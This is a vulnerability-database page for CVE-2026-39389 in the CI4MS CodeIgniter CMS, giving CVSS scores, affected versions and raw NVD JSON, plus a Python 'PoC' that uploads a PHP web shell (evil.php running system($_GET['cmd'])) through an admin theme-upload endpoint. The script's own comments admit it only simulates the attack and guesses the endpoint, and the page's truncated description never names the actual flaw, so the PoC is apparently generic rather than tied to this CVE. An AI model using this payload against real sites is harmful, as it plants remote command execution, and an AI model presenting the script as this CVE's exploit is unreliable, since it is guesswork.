Security Vulnerability Report
中文
CVE-2026-39389 CVSS 6.7 MEDIUM

CVE-2026-39389

Published: 2026-04-08 15:16:14
Last Modified: 2026-04-16 00:19:58

Description

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:* - VULNERABLE
CI4MS < 0.31.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: CI4MS < 0.31.4.0 Remote Code Execution (PoC) # Date: 2026-04-08 # Exploit Author: Security Analyst # Vendor Homepage: https://github.com/ci4-cms-erp/ci4ms # Version: < 0.31.4.0 # Usage: python3 poc.py <target_url> <admin_session_cookie> import sys def exploit(url, cookie): headers = { "Cookie": f"ci_session={cookie}", "User-Agent": "Mozilla/5.0 (PoC Analyst)" } # Simulating malicious file upload or command injection payload # Adjust endpoint based on actual vulnerable parameter payload = { "theme_file": ("evil.php", "<?php system($_GET['cmd']); ?>", "application/octet-stream"), "action": "upload_theme" } print(f"[*] Sending payload to {url}...") response = requests.post(f"{url}/admin/theme/upload", headers=headers, files=payload) if response.status_code == 200 and "success" in response.text: print("[+] Payload uploaded successfully!") print(f"[+] Check shell at: {url}/uploads/themes/evil.php?cmd=whoami") else: print("[-] Exploit failed or target not vulnerable.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <url> <cookie>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39389", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:13.587", "lastModified": "2026-04-16T00:19:58.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, This vulnerability is fixed in 0.31.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.4.0", "matchCriteriaId": "392D5209-C574-4DEA-8529-BBD5860A35F0"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-9rxp-f27p-wv3h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}